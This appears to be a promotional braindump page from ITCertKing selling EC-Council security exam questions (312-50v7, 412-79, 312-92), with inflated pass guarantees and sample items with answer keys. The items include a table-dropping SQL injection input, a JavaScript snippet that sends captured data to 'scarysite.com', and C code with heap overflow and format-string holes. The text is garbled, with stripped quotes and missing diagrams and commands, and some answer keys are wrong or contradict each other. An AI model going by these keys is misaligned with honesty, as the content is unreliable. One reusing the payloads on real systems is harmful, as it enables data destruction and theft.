EC-COUNCIL 312-50v7 exam study materials

Our latest training material about EC-COUNCIL certification 312-50v7 exam is developed by ITCertKing's professional team's constantly study the outline. It can help a lot of people achieve their dream. In today's competitive IT profession, if you want to stabilize your own position, you will have to prove your professional knowledge and technology level. EC-COUNCIL certification 312-50v7 exam is a very good test to prove your ability. If you have a EC-COUNCIL 312-50v7 certification, your work will have a lot of change that wages and work position will increase quickly.

When you're in pain, it is best to learn things. Learning will make you invincible. ITCertKing EC-COUNCIL 312-50v7 exam training materials can also help you to be invincible. With this training materials, you will receive the EC-COUNCIL 312-50v7 certification which recognized and accepted internationally. Then all of your life, including money and position, will improve a lot. Until then, will you still feel painful? No, you will be very happy. You should thanks ITCertKing which provide you with a good training materials. It can help you when you lost, and let you not only improve your own quality, but also demonstratethe value of your perfect life.

We all well know the status of EC-COUNCIL certification 312-50v7 exams in the IT area is a pivotal position, but the key question is to be able to get EC-COUNCIL 312-50v7 certification is not very simple. We know very clearly about the lack of high-quality and high accuracy exam materials online. Exam practice questions and answers ITCertKing provide for all people to participate in the IT industry certification exam supply all the necessary information. Besides, it can all the time provide what you want. Buying all our information can guarantee you to pass your first EC-COUNCIL certification 312-50v7 exam.

Are you still upset about how to pass EC-COUNCIL certification 312-50v7 exam? Are you still waiting for the latest information about EC-COUNCIL certification 312-50v7 exam? ITCertKing has come up with the latest training material about EC-COUNCIL certification 312-50v7 exam. Do you want to pass EC-COUNCIL certification 312-50v7 exam easily? Please add ITCertKing's EC-COUNCIL certification 312-50v7 exam practice questions and answers to your cart now! ITCertKing has provided part of EC-COUNCIL certification 312-50v7 exam practice questions and answers for you on www.ITCertKing.com and you can free download as a try. I believe you will be very satisfied with our products. With our products you can easily pass the exam. We promise that if you have used ITCertKing's latest EC-COUNCIL certification 312-50v7 exam practice questions and answers exam but fail to pass the exam, ITCertKing will give you a full refund.

Exam Code: 312-50v7
Exam Name: EC-COUNCIL (Ethical Hacking and Countermeasures (CEHv7))
One year free update, No help, Full refund!
Total Q&A: 514 Questions and Answers
Last Update: 2014-02-24

312-50v7 Free Demo Download: http://www.itcertking.com/312-50v7_exam.html

NO.1 TCP SYN Flood attack uses the three-way handshake mechanism.
An attacker at system A sends a SYN packet to victim at system B.
System B sends a SYN/ACK packet to victim A.
As a normal three-way handshake mechanism system A should send an ACK packet to system B,
however, system A does not send an ACK packet to system B. In this case client B is waiting for an ACK
packet from client A.
This status of client B is called _________________
A. "half-closed"
B. "half open"
C. "full-open"
D. "xmas-open"
Answer: B

EC-COUNCIL   312-50v7   312-50v7   312-50v7   312-50v7 exam prep

NO.2 This type of Port Scanning technique splits TCP header into several packets so that the packet filters
are not able to detect what the packets intends to do.
A. UDP Scanning
B. IP Fragment Scanning
C. Inverse TCP flag scanning
D. ACK flag scanning
Answer: B

EC-COUNCIL braindump   312-50v7   312-50v7 test questions

NO.3 What type of attack is shown in the following diagram?
A. Man-in-the-Middle (MiTM) Attack
B. Session Hijacking Attack
C. SSL Spoofing Attack
D. Identity Stealing Attack
Answer: A

EC-COUNCIL test answers   312-50v7   312-50v7   312-50v7

NO.4 SYN Flood is a DOS attack in which an attacker deliberately violates the three-way handshake and
opens a large number of half-open TCP connections. The signature of attack for SYN Flood contains:
A. The source and destination address having the same value
B. A large number of SYN packets appearing on a network without the corresponding reply packets
C. The source and destination port numbers having the same value
D. A large number of SYN packets appearing on a network with the corresponding reply packets
Answer: B

EC-COUNCIL   312-50v7   312-50v7 test answers   312-50v7

NO.5 How do you defend against Privilege Escalation?
A. Use encryption to protect sensitive data
B. Restrict the interactive logon privileges
C. Run services as unprivileged accounts
D. Allow security settings of IE to zero or Low
E. Run users and applications on the least privileges
Answer: A,B,C,E

EC-COUNCIL test   312-50v7 exam   312-50v7   312-50v7 exam

NO.6 How do you defend against ARP Spoofing? Select three.
A. Use ARPWALL system and block ARP spoofing attacks
B. Tune IDS Sensors to look for large amount of ARP traffic on local subnets
C. Use private VLANS
D. Place static ARP entries on servers, workstation and routers
Answer: A,C,D

EC-COUNCIL certification   312-50v7   312-50v7

NO.7 Joel and her team have been going through tons of garbage, recycled paper, and other rubbish in order
to find some information about the target they are attempting to penetrate. How would you call this type of
activity?
A. Dumpster Diving
B. Scanning
C. CI Gathering
D. Garbage Scooping
Answer: A

EC-COUNCIL   312-50v7 original questions   312-50v7   312-50v7   312-50v7 dumps

NO.8 Jack Hacker wants to break into Brown Co.'s computers and obtain their secret double fudge cookie
recipe. Jack calls Jane, an accountant at Brown Co., pretending to be an administrator from Brown Co.
Jack tells Jane that there has been a problem with some accounts and asks her to verify her password
with him ''just to double check our records.'' Jane does not suspect anything amiss, and parts with her
password. Jack can now access Brown Co.'s computers with a valid user name and password, to steal
the cookie recipe. What kind of attack is being illustrated here?
A. Reverse Psychology
B. Reverse Engineering
C. Social Engineering
D. Spoofing Identity
E. Faking Identity
Answer: C

EC-COUNCIL demo   312-50v7   312-50v7 practice test

NO.9 More sophisticated IDSs look for common shellcode signatures. But even these systems can be
bypassed, by using polymorphic shellcode. This is a technique common among virus writers ?it basically
hides the true nature of the shellcode in different disguises.
How does a polymorphic shellcode work?
A. They encrypt the shellcode by XORing values over the shellcode, using loader code to decrypt the
shellcode, and then executing the decrypted shellcode
B. They convert the shellcode into Unicode, using loader to convert back to machine code then executing
them
C. They reverse the working instructions into opposite order by masking the IDS signatures
D. They compress shellcode into normal instructions, uncompress the shellcode using loader code and
then executing the shellcode
Answer: A

EC-COUNCIL   312-50v7 pdf   312-50v7   312-50v7 exam dumps   312-50v7 test answers

NO.10 Anonymizer sites access the Internet on your behalf, protecting your personal information from
disclosure. An anonymizer protects all of your computer's identifying information while it surfs for you,
enabling you to remain at least one step removed from the sites you visit.
You can visit Web sites without allowing anyone to gather information on sites visited by you. Services
that provide anonymity disable pop-up windows and cookies, and conceal visitor's IP address.
These services typically use a proxy server to process each HTTP request. When the user requests a
Web page by clicking a hyperlink or typing a URL into their browser, the service retrieves and displays the
information using its own server. The remote server (where the requested Web page resides) receives
information on the anonymous Web surfing service in place of your information.
In which situations would you want to use anonymizer? (Select 3 answers)
A. Increase your Web browsing bandwidth speed by using Anonymizer
B. To protect your privacy and Identity on the Internet
C. To bypass blocking applications that would prevent access to Web sites or parts of sites that you want
to visit.
D. Post negative entries in blogs without revealing your IP identity
Answer: B,C,D

EC-COUNCIL pdf   312-50v7 test questions   312-50v7 answers real questions   312-50v7 dumps   312-50v7

NO.11 What does ICMP (type 11, code 0) denote?
A. Source Quench
B. Destination Unreachable
C. Time Exceeded
D. Unknown Type
Answer: C

EC-COUNCIL exam dumps   312-50v7   312-50v7 exam

NO.12 Which of the following countermeasure can specifically protect against both the MAC Flood and MAC
Spoofing attacks?
A. Configure Port Security on the switch
B. Configure Port Recon on the switch
C. Configure Switch Mapping
D. Configure Multiple Recognition on the switch
Answer: A

EC-COUNCIL   312-50v7 questions   312-50v7   312-50v7   312-50v7   312-50v7 certification

NO.13 The following script shows a simple SQL injection. The script builds an SQL query by concatenating
hard-coded strings together with a string entered by the user: The user is prompted to enter the name of a
city on a Web form. If she enters Chicago, the query assembled by the script looks similar to the following:
SELECT * FROM OrdersTable WHERE ShipCity = 'Chicago'
How will you delete the OrdersTable from the database using SQL Injection?
A. Chicago'; drop table OrdersTable -
B. Delete table'blah'; OrdersTable -
C. EXEC; SELECT * OrdersTable > DROP -
D. cmdshell'; 'del c:\sql\mydb\OrdersTable' //
Answer: A

EC-COUNCIL   312-50v7   312-50v7   312-50v7 certification

NO.14 Which of the following type of scanning utilizes automated process of proactively identifying
vulnerabilities of the computing systems present on a network?
A. Port Scanning
B. Single Scanning
C. External Scanning
D. Vulnerability Scanning
Answer: D

EC-COUNCIL   312-50v7   312-50v7 test   312-50v7

NO.15 You are the security administrator of Jaco Banking Systems located in Boston. You are setting up
e-banking website (http://www.ejacobank.com) authentication system. Instead of issuing banking
customer with a single password, you give them a printed list of 100 unique passwords. Each time the
customer needs to log into the e-banking system website, the customer enters the next password on the
list. If someone sees them type the password using shoulder surfing, MiTM or keyloggers, then no
damage is done because the password will not be accepted a second time. Once the list of 100
passwords is almost finished, the system automatically sends out a new password list by encrypted e-mail
to the customer.
You are confident that this security implementation will protect the customer from password abuse.
Two months later, a group of hackers called "HackJihad" found a way to access the one-time password
list issued to customers of Jaco Banking Systems. The hackers set up a fake website
(http://www.e-jacobank.com) and used phishing attacks to direct ignorant customers to it. The fake
website asked users for their e-banking username and password, and the next unused entry from their
one-time password sheet. The hackers collected 200 customer's username/passwords this way. They
transferred money from the customer's bank account to various offshore accounts.
Your decision of password policy implementation has cost the bank with USD 925,000 to hackers. You
immediately shut down the e-banking website while figuring out the next best security solution
What effective security solution will you recommend in this case?
A. Implement Biometrics based password authentication system. Record the customers face image to the
authentication database
B. Configure your firewall to block logon attempts of more than three wrong tries
C. Enable a complex password policy of 20 characters and ask the user to change the password
immediately after they logon and do not store password histories
D. Implement RSA SecureID based authentication system
Answer: D

EC-COUNCIL   312-50v7   312-50v7   312-50v7   312-50v7

NO.16 You run nmap port Scan on 10.0.0.5 and attempt to gain banner/server information from services
running on ports 21, 110 and 123.
Here is the output of your scan results:
Which of the following nmap command did you run?
A. nmap -A -sV -p21,110,123 10.0.0.5
B. nmap -F -sV -p21,110,123 10.0.0.5
C. nmap -O -sV -p21,110,123 10.0.0.5
D. nmap -T -sV -p21,110,123 10.0.0.5
Answer: C

EC-COUNCIL   312-50v7 exam dumps   312-50v7

NO.17 This IDS defeating technique works by splitting a datagram (or packet) into multiple fragments and the
IDS will not spot the true nature of the fully assembled datagram. The datagram is not reassembled until it
reaches its final destination. It would be a processor-intensive task for IDS to reassemble all fragments
itself, and on a busy system the packet will slip through the IDS onto the network. What is this technique
called?
A. IP Routing or Packet Dropping
B. IDS Spoofing or Session Assembly
C. IP Fragmentation or Session Splicing
D. IP Splicing or Packet Reassembly
Answer: C

EC-COUNCIL   312-50v7 braindump   312-50v7

NO.18 Lori is a Certified Ethical Hacker as well as a Certified Hacking Forensics Investigator working as an IT
security consultant. Lori has been hired on by Kiley Innovators, a large marketing firm that recently
underwent a string of thefts and corporate espionage incidents. Lori is told that a rival marketing company
came out with an exact duplicate product right before Kiley Innovators was about to release it. The
executive team believes that an employee is leaking information to the rival company. Lori questions all
employees, reviews server logs, and firewall logs; after which she finds nothing. Lori is then given
permission to search through the corporate email system. She searches by email being sent to and sent
from the rival marketing company.
She finds one employee that appears to be sending very large email to this other marketing company,
even though they should have no reason to be communicating with them. Lori tracks down the actual
emails sent and upon opening them, only finds picture files attached to them. These files seem perfectly
harmless, usually containing some kind of joke. Lori decides to use some special software to further
examine the pictures and finds that each one had hidden text that was stored in each picture.
What technique was used by the Kiley Innovators employee to send information to the rival marketing
company?
A. The Kiley Innovators employee used cryptography to hide the information in the emails sent
B. The method used by the employee to hide the information was logical watermarking
C. The employee used steganography to hide information in the picture attachments
D. By using the pictures to hide information, the employee utilized picture fuzzing
Answer: C

EC-COUNCIL questions   312-50v7 exam dumps   312-50v7 pdf   312-50v7   312-50v7

NO.19 Jimmy, an attacker, knows that he can take advantage of poorly designed input validation routines to
create or alter SQL commands to gain access to private data or execute commands in the database.
What technique does Jimmy use to compromise a database.?
A. Jimmy can submit user input that executes an operating system command to compromise a target
system
B. Jimmy can gain control of system to flood the target system with requests, preventing legitimate users
from gaining access
C. Jimmy can utilize an incorrect configuration that leads to access with higher-than expected privilege of
the database
D. Jimmy can utilize this particular database threat that is an SQL injection technique to penetrate a target
system
Answer: D

EC-COUNCIL demo   312-50v7   312-50v7 practice test

NO.20 If a competitor wants to cause damage to your organization, steal critical secrets, or put you out of
business, they just have to find a job opening, prepare someone to pass the interview, have that person
hired, and they will be in the organization.
How would you prevent such type of attacks?
A. It is impossible to block these attacks
B. Hire the people through third-party job agencies who will vet them for you
C. Conduct thorough background checks before you engage them
D. Investigate their social networking profiles
Answer: C

EC-COUNCIL   312-50v7 demo   312-50v7   312-50v7

ITCertKing offer the latest 642-447 exam material and high-quality 000-820 pdf questions & answers. Our FCNSP.v5 VCE testing engine and 000-781 study guide can help you pass the real exam. High-quality MB3-700 dumps training materials can 100% guarantee you pass the exam faster and easier. Pass the exam to obtain certification is so simple.

Article Link: http://www.itcertking.com/312-50v7_exam.html

Featured EC-COUNCIL certification 412-79 exam test questions and answers

Passing EC-COUNCIL certification 412-79 exam is not simple. Choose the right training is the first step to your success and choose a good resource of information is your guarantee of success. While the product of ITCertKing is a good guarantee of the resource of information. If you choose the ITCertKing product, it not only can 100% guarantee you to pass EC-COUNCIL certification 412-79 exam but also provide you with a year-long free update.

In the era of rapid development in the IT industry, we have to look at those IT people with new eyes. They use their high-end technology to create many convenient place for us. And save a lot of manpower and material resources for the state and enterprises. And even reached unimaginable effect. Of course, their income must be very high. Do you want to be the kind of person? Do you envy them? Or you are also IT person, but you do not get this kind of success. Do not worry, ITCertKing's EC-COUNCIL 412-79 exam material can help you to get what you want. To select ITCertKing is equivalent to choose a success.

If you attend EC-COUNCIL certification 412-79 exams, your choosing ITCertKing is to choose success! I wish you good luck.

If you want to participate in the IT industry's important EC-COUNCIL 412-79 examination, it is necessary to select ITCertKing EC-COUNCIL 412-79 exam training database. Through EC-COUNCIL 412-79 examination certification, you will be get a better guarantee. In your career, at least in the IT industry, your skills and knowledge will get international recognition and acceptance. This is one of the reasons that why lot of people choose EC-COUNCIL 412-79 certification exam. So this exam is increasingly being taken seriously. So this exam is increasingly being taken seriously. ITCertKing EC-COUNCIL 412-79 exam training materials can help you achieve your aspirations. ITCertKing EC-COUNCIL 412-79 exam training materials are produced by the experienced IT experts, it is a combination of questions and answers, and no other training materials can be compared. You do not need to attend the expensive training courses. The EC-COUNCIL 412-79 exam training materials of ITCertKing add to your shopping cart please. It is enough to help you to easily pass the exam.

Exam Code: 412-79
Exam Name: EC-COUNCIL (EC-Council Certified Security Analyst (ECSA))
One year free update, No help, Full refund!
Total Q&A: 100 Questions and Answers
Last Update: 2013-11-18

ITCertKing can provide professional and high quality products. It is the industry leader in providing IT certification information. To selecte ITCertKing is to choose success. ITCertKing's EC-COUNCIL 412-79 exam training materials is your magic weapon to success. With it, you will pass the exam and achieve excellent results, towards your ideal place.

ITCertKing's EC-COUNCIL 412-79 exam training materials not only can save your energy and money, but also can save a lot of time for you. Because the things what our materials have done, you might need a few months to achieve. So what you have to do is use the ITCertKing EC-COUNCIL 412-79 exam training materials. And obtain this certificate for yourself. ITCertKing will help you to get the knowledge and experience that you need and will provide you with a detailed EC-COUNCIL 412-79 exam objective. So with it, you will pass the exam.

ITCertKing has gained the reputation of the many certification industry, because we have a lot of high-quality EC-COUNCIL 412-79 Exam 412-79 study guide, 412-79 exam, 412-79 exam answer. As the most professional supplier on the site of IT certification test currently , we provide a comprehensive after-sales service. We provide tracking services to all customers. Within one year of your purchase, enjoy free upgrades examination questions service. During this period, if EC-COUNCIL's 412-79 test questions are modified, We will be free to provide customers with protection. EC-COUNCIL 412-79 certification exam is carefully crafted by our ITCertKing IT experts. With the ITCertKing of EC-COUNCIL 412-79 exam materials, I believe that your tomorrow will be better.

412-79 Free Demo Download: http://www.itcertking.com/412-79_exam.html

NO.1 .You are the security analyst working for a private company out of France. Your current assignment is
to obtain credit card information from a Swiss bank owned by that company. After initial reconnaissance,
you discover that the bank security defenses are very strong and would take too long to penetrate. You
decide to get the information by monitoring the traffic between the bank and one of its subsidiaries in
London. After monitoring some of the traffic, you see a lot of FTP packets traveling back and forth. You
want to sniff the traffic and extract usernames and passwords. What tool could you use to get this
information?
A. RaidSniff
B. Snort
C. Ettercap
D. Airsnort
Answer: C

EC-COUNCIL   412-79 test   412-79 test questions   412-79   412-79 pdf

NO.2 .After attending a CEH security seminar, you make a list of changes you would like to perform on your
network to increase its security. One of the first things you change is to switch the RestrictAnonymous
setting from 0 to 1 on your servers. This, as you were told, would prevent anonymous users from
establishing a null session on the server. Using Userinfo tool mentioned at the seminar, you succeed in
establishing a null session with one of the servers. Why is that?
A. RestrictAnonymous must be set to "2" for complete security
B. RestrictAnonymous must be set to "3" for complete security
C. There is no way to always prevent an anonymous null session from establishing
D. RestrictAnonymous must be set to "10" for complete security
Answer: A

EC-COUNCIL   412-79 exam dumps   412-79 certification   412-79 practice test

NO.3 .Why are Linux/Unix based computers better to use than Windows computers for idle scanning?
A. Windows computers are constantly talking
B. Linux/Unix computers are constantly talking
C. Linux/Unix computers are easier to compromise
D. Windows computers will not respond to idle scans
Answer: A

EC-COUNCIL   412-79   412-79 exam simulations

NO.4 .In a virtual test environment, Michael is testing the strength and security of BGP using multiple routers
to mimic the backbone of the Internet. This project will help him write his doctoral thesis on "bringing down
the Internet". Without sniffing the traffic between the routers, Michael sends millions of RESET packets to
the routers in an attempt to shut one or all of them down. After a few hours, one of the routers finally shuts
itself down. What will the other routers communicate between themselves?
A. More RESET packets to the affected router to get it to power back up
B. RESTART packets to the affected router to get it to power back up
C. The change in the routing fabric to bypass the affected router
D. STOP packets to all other routers warning of where the attack originated
Answer: C

EC-COUNCIL   412-79   412-79 test answers   412-79

NO.5 .What will the following command accomplish?
A. Test ability of a router to handle over-sized packets
B. Test the ability of a router to handle fragmented packets
C. Test the ability of a WLAN to handle fragmented packets
D. Test the ability of a router to handle under-sized packets
Answer: A

EC-COUNCIL   412-79   412-79 test

NO.6 .At what layer of the OSI model do routers function on?
A. 3
B. 4
C. 5
D. 1
Answer: A

EC-COUNCIL   412-79 questions   412-79   412-79   412-79 pdf

NO.7 .Your company uses Cisco routers exclusively throughout the network. After securing the routers to
the best of your knowledge, an outside security firm is brought in to assess the network security. Although
they found very few issues, they were able to enumerate the model, OS version, and capabilities for all
your Cisco routers with very little effort. Which feature will you disable to eliminate the ability to enumerate
this information on your Cisco routers?
A. Simple Network Management Protocol
B. Broadcast System Protocol
C. Cisco Discovery Protocol
D. Border Gateway Protocol
Answer: C

EC-COUNCIL   412-79 test   412-79 test   412-79 test questions   412-79

NO.8 .You are assisting a Department of Defense contract company to become compliant with the stringent
security policies set by the DoD. One such strict rule is that firewalls must only allow incoming
connections that were first initiated by internal computers. What type of firewall must you implement to
abide by this policy?
A. Circuit-level proxy firewall
B. Packet filtering firewall
C. Application-level proxy firewall
D. Statefull firewall
Answer: D

EC-COUNCIL answers real questions   412-79   412-79   412-79

NO.9 .Why are Linux/Unix based computers better to use than Windows computers for idle scanning?
A. Windows computers will not respond to idle scans
B. Linux/Unix computers are constantly talking
C. Linux/Unix computers are easier to compromise
D. Windows computers are constantly talking
Answer: D

EC-COUNCIL test   412-79 exam simulations   412-79 dumps   412-79 certification training

NO.10 .What is the following command trying to accomplish?
A. Verify that NETBIOS is running for the 192.168.0.0 network
B. Verify that TCP port 445 is open for the 192.168.0.0 network
C. Verify that UDP port 445 is open for the 192.168.0.0 network
D. Verify that UDP port 445 is closed for the 192.168.0.0 network
Answer: C

EC-COUNCIL   412-79   412-79 original questions

NO.11 .What operating system would respond to the following command?
A. Mac OS X
B. Windows XP
C. Windows 95
D. FreeBSD
Answer: D

EC-COUNCIL   412-79   412-79   412-79 test answers

NO.12 George is performing security analysis for Hammond and Sons LLC. He is testing security vulnerabilities
of their wireless network. He plans on remaining as "stealthy" as possible during the scan. Why would a
scanner like Nessus is not recommended in this situation?
A. Nessus is too loud
B. There are no ways of performing a "stealthy" wireless scan
C. Nessus cannot perform wireless testing
D. Nessus is not a network scanner
Answer: A

EC-COUNCIL exam dumps   412-79   412-79 exam dumps   412-79 certification training   412-79 original questions

NO.13 .What are the security risks of running a "repair" installation for Windows XP?
A. There are no security risks when running the "repair" installation for Windows XP
B. Pressing Shift+F1gives the user administrative rights
C. Pressing Ctrl+F10 gives the user administrative rights
D. Pressing Shift+F10 gives the user administrative rights
Answer: D

EC-COUNCIL exam dumps   412-79   412-79   412-79   412-79   412-79 original questions

NO.14 .You are carrying out the last round of testing for your new website before it goes live. The website has
many dynamic pages and connects to a SQL backend that accesses your product inventory in a database.
You come across a web security site that recommends inputting the following code into a search field on
web pages to check for vulnerabilities:
This is a test
When you type this and click on search, you receive a pop-up window that says:
"This is a test."
What is the result of this test?
A. Your website is vulnerable to web bugs
B. Your website is vulnerable to CSS
C. Your website is not vulnerable
D. Your website is vulnerable to SQL injection
Answer: B

EC-COUNCIL   412-79   412-79 test answers

NO.15 .George is the network administrator of a large Internet company on the west coast. Per corporate
policy, none of the employees in the company are allowed to use FTP or SFTP programs without
obtaining approval from the IT department. Few managers are using SFTP program on their computers.
Before talking to his boss, George wants to have some proof of their activity.
George wants to use Ethereal to monitor network traffic, but only SFTP traffic to and from his network.
What filter should George use in Ethereal?
A. net port 22
B. udp port 22 and host 172.16.28.1/24
C. src port 22 anddst port 22
D. src port 23 anddst port 23
Answer: C

EC-COUNCIL study guide   412-79   412-79 original questions   412-79 study guide   412-79

NO.16 .An "idle" system is also referred to as what?
A. Zombie
B. PC not being used
C. Bot
D. PC not connected to the Internet
Answer: A

EC-COUNCIL dumps   412-79 certification training   412-79 test   412-79 pdf   412-79   412-79

NO.17 .You are running known exploits against your network to test for possible vulnerabilities. To test the
strength of your virus software, you load a test network to mimic your production network. Your software
successfully blocks some simple macro and encrypted viruses. You decide to really test the software by
using virus code where the code rewrites itself entirely and the signatures change
6 from child to child, but the functionality stays the same. What type of virus is this that you are testing?
A. Metamorphic
B. Oligomorhic
C. Polymorphic
D. Transmorphic
Answer: A

EC-COUNCIL   412-79 dumps   412-79 certification   412-79 exam dumps   412-79 original questions

NO.18 .How many bits is Source Port Number in TCP Header packet?
A. 48
B. 32
C. 64
D. 16
Answer: D

EC-COUNCIL   412-79   412-79 exam dumps   412-79 exam   412-79 demo   412-79

NO.19 .Your company's network just finished going through a SAS 70 audit. This audit reported that overall,
your network is secure, but there are some areas that needs improvement. The major area was SNMP
security. The audit company recommended turning off SNMP, but that is not an option since you have so
many remote nodes to keep track of. What step could you take to help secure SNMP on your network?
A. Change the default community string names
B. Block all internal MAC address from using SNMP
C. Block access to UDP port 171
D. Block access to TCP port 171
Answer: A

EC-COUNCIL dumps   412-79   412-79 original questions   412-79   412-79

NO.20 .Simon is a former employee of Trinitron XML Inc. He feels he was wrongly terminated and wants to
hack into his former company's network. Since Simon remembers some of the server names, he attempts
to run the axfr and ixfr commands using DIG. What is Simon trying to accomplish here?
A. Enumerate all the users in the domain
B. Perform DNS poisoning
C. Send DOS commands to crash the DNS servers
D. Perform a zone transfer
Answer: D

EC-COUNCIL test answers   412-79 practice test   412-79   412-79 practice test

ITCertKing offer the latest JN0-633 exam material and high-quality 000-622 pdf questions & answers. Our HP2-B102 VCE testing engine and MB7-700 study guide can help you pass the real exam. High-quality HP2-B104 dumps training materials can 100% guarantee you pass the exam faster and easier. Pass the exam to obtain certification is so simple.

Article Link: http://www.itcertking.com/412-79_exam.html

EC-COUNCIL 312-92 PDF

Never say you can not do it. This is my advice to everyone. Even if you think that you can not pass the demanding EC-COUNCIL 312-92 exam. You can find a quick and convenient training tool to help you. ITCertKing's EC-COUNCIL 312-92 exam training materials is a very good training materials. It can help you to pass the exam successfully. And its price is very reasonable, you will benefit from it. So do not say you can't. If you do not give up, the next second is hope. Quickly grab your hope, itis in the ITCertKing's EC-COUNCIL 312-92 exam training materials.

EC-COUNCIL 312-92 certification exam is very important for every IT person. With this certification you will not be eliminated, and you will be a raise. Some people say that to pass the EC-COUNCIL 312-92 exam certification is tantamount to success. Yes, this is true. You get what you want is one of the manifestations of success. ITCertKing of EC-COUNCIL 312-92 exam materials is the source of your success. With this training materials, you will speed up the pace of success, and you will be more confident.

ITCertKing have a strong It expert team to constantly provide you with an effective training resource. They continue to use their rich experience and knowledge to study the real exam questions of the past few years. Finally ITCertKing's targeted practice questions and answers have advent, which will give a great help to a lot of people participating in the IT certification exams. You can free download part of ITCertKing's simulation test questions and answers about EC-COUNCIL certification 312-92 exam as a try. Through the proof of many IT professionals who have use ITCertKing's products, ITCertKing is very reliable for you. Generally, if you use ITCertKing's targeted review questions, you can 100% pass EC-COUNCIL certification 312-92 exam. Please Add ITCertKing to your shopping cart now! Maybe the next successful people in the IT industry is you.

All the IT professionals are familiar with the EC-COUNCIL 312-92 exam. And all of you dream of owning the most demanding certification. So that you can get the career you want, and can achieve your dreams. With ITCertKing's EC-COUNCIL 312-92 exam training materials, you can get what you want.

Exam Code: 312-92
Exam Name: EC-COUNCIL (EC-Council Certified Secure Programmer v2)
One year free update, No help, Full refund!
Total Q&A: 99 Questions and Answers
Last Update: 2013-11-18

Today, the IT industry is facing fierce competition, you will feel powerless, this is inevitable. All you have to do is to escort your career. Of course, you have many choices. I recommend that you use the ITCertKing EC-COUNCIL 312-92 exam questions and answers, it is a good helper to help your success of IT certification. So what you still waiting for, go to get new ITCertKing EC-COUNCIL 312-92 exam training materials early.

Feedbacks of many IT professionals who have passed EC-COUNCIL certification 312-92 exam prove that their successes benefit from ITCertKing's help. ITCertKing's targeted test practice questions and answers to gave them great help, which save their valuable time and energy, and allow them to easily and smoothly pass their first EC-COUNCIL certification 312-92 exam. So ITCertKing a website worthy of your trust. Please select ITCertKing, you will be the next successful IT person. ITCertKing will help you achieve your dream.

312-92 Free Demo Download: http://www.itcertking.com/312-92_exam.html

NO.1 Wayne is a gaming software developer for a large video gaming company in Los Angeles. Wayne has
just completed developing a new action/adventure game for the company that is to be released soon. To
protect the company s copyright on the game, Wayne would like to incorporate a technology that will
restrict the use of the digital files by controlling access, altering, sharing, copying, printing, and saving.
What technology does Wayne want to use?
A. ARM
B. WRM
C. DRM
D. Diffusion
Answer: C

EC-COUNCIL   312-92   312-92   312-92

NO.2 Travis, a senior systems developer for YNY Services, received an email recently from an unknown
source. Instead of opening the email on his normal production machine, Travis decides to copy the email
to a thumb drive and examine it from a quarantined PC not on the network. Travis examines the email and
discovers a link that is supposed to take him to http://scarysite.com. Travis decides to get back on his
production computer and examine the code of that site.
From the following code snippet, what has Travis discovered?
<script>
function object() {
this.email setter = captureobject
}
function captureobject(x) {
var objstring =
for(fld in this) {
obstring += fld + :
this[fld] + , ;
}
obstring += email:
+ x;
var req = new XMLHttpRequest();
req.open( GET , http://scarysite.com?obj=
+
escape(objString), true);
req.send(null);
}
</script>
A. URL obfuscation
B. XSS attack
C. JavaScript hijacking
D. URL tampering
Answer: C

EC-COUNCIL   312-92 exam dumps   312-92 exam prep

NO.3 Steve is using the libcap library to create scripts for capturing and analyzing network traffic.
Steve has never used libcap before and is struggling with finding out the correct functions to use. Steve is
trying to pick the default network interface in his script and does not know which function to use. Which
function would he use to correctly choose the default interface in the script?
A. pcap_open_live
B. pcap_int_default
C. pcap_lookupdev
D. pcap_use_int
Answer: C

EC-COUNCIL   312-92   312-92

NO.4 What would be the result of the following code?
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char *input=malloc(20);
char *output=malloc(20);
strcpy(output, normal output );
strcpy(input, argv[1]); printf( input at %p: %s\n , input, input);
printf( output at %p: %s\n , output, output);
printf( \n\n%s\n , output);
}
A. Stack buffer overflow
B. Heap overflow
C. Query string manipulation
D. Pointer Subterfuge
Answer: B

EC-COUNCIL answers real questions   312-92 original questions   312-92 demo

NO.5 Kenny is the CIO for Fredrickson Entertainment, a gaming software company in Omaha. The
developers in Kenny s company have just finished creating a 3D first person shooter game that will be
released to the market within the next couple of months. Kenny is trying to decide what type of license or
activation code structure they should use for the game to prevent piracy and protect their product. Kenny
decides to go with an approach that will allow each sold copy to be activated online up to five times
because he knows his users might have multiple PCs or might need to reinstall the product at some point.
What type of activation policy has Kenny decided to go with?
A. Loose license enforced
reasonable use
B. License terms enforced
fair use
C. Strict license terms enforced
D. Monitor only mode
Answer: A

EC-COUNCIL exam dumps   312-92   312-92 test answers

NO.6 David is an applications developer working for Dewer and Sons law firm in Los Angeles David just
completed a course on writing secure code and was enlightened by all the intricacies of how code must
be rewritten many times to ensure its security. David decides to go through all the applications he has
written and change them to be more secure. David comes across the following snippet in one of his
programs:
#include <stdio.h>
int main(int argc, char **argv)
{
int number = 5;
printf(argv[1]);
putchar( \n );
printf( number (%p) is equal to %d\n ,
&value, value);
}
What could David change, add, or delete to make this code more secure?
A. Change putchar( \n ) to putchar( %s , \n )
B. Change printf(argv[1]) to printf( %s , argv[1])
C. Change printf(argv[1]) to printf(constv [0])
D. Change int number = 5 to const number =
Answer: B

EC-COUNCIL questions   312-92   312-92 certification   312-92   312-92

NO.7 What security package is implemented with the following code.?
dwStatus = DsMakSpn
(
ldap ,
MyServer.Mydomain.com ,
NULL,
0,
NULL,
&pcSpnLength,
pszSpn
);
rpcStatus = RpcServerRegisterAuthInfo
(
psz
RPC_C_AUTHN_GSS_NEGOTIATE,
NULL,
NULL
);
A. Diffie-Hellman encryption
B. Repurposing
C. SSPI
D. SMDT
Answer: A

EC-COUNCIL   312-92 answers real questions   312-92 study guide   312-92

NO.8 Which Linux command will securely delete a file by overwriting its contents?
A. rm rf /
B. Shred
C. ps rm
D. del rm
Answer: B

EC-COUNCIL   312-92   312-92 questions   312-92

NO.9 John is creating a website using ASP. John s web pages will have a number of calculations, so he
decides to create an include file that the pages will call so he does not have to rewrite the formula
numerous times. John s website will be hosted by a server running IIS. John wants to ensure that the
include source code is not revealed when the pages are viewed, so he gives the include an .asp
extension.
When IIS processes the include file, which system file will be used to hide the include source code?
A. ASP.dll
B. Include.dll
C. IISASP.dll
D. IIS.dll
Answer: A

EC-COUNCIL   312-92 answers real questions   312-92 test answers   312-92 pdf

NO.10 Fred is planning on using the windows socket application ClientApp.exe program to create a client-side
application that his employees will use. This program will access backend programs from two different
remote sites over WAN connections. If Fred does not make any modifications to the ClientApp.exe default
settings, what port must he have the network engineer open in order for the application to communicate?
A. 21
B. 23
C. 25
D. 80
Answer: D

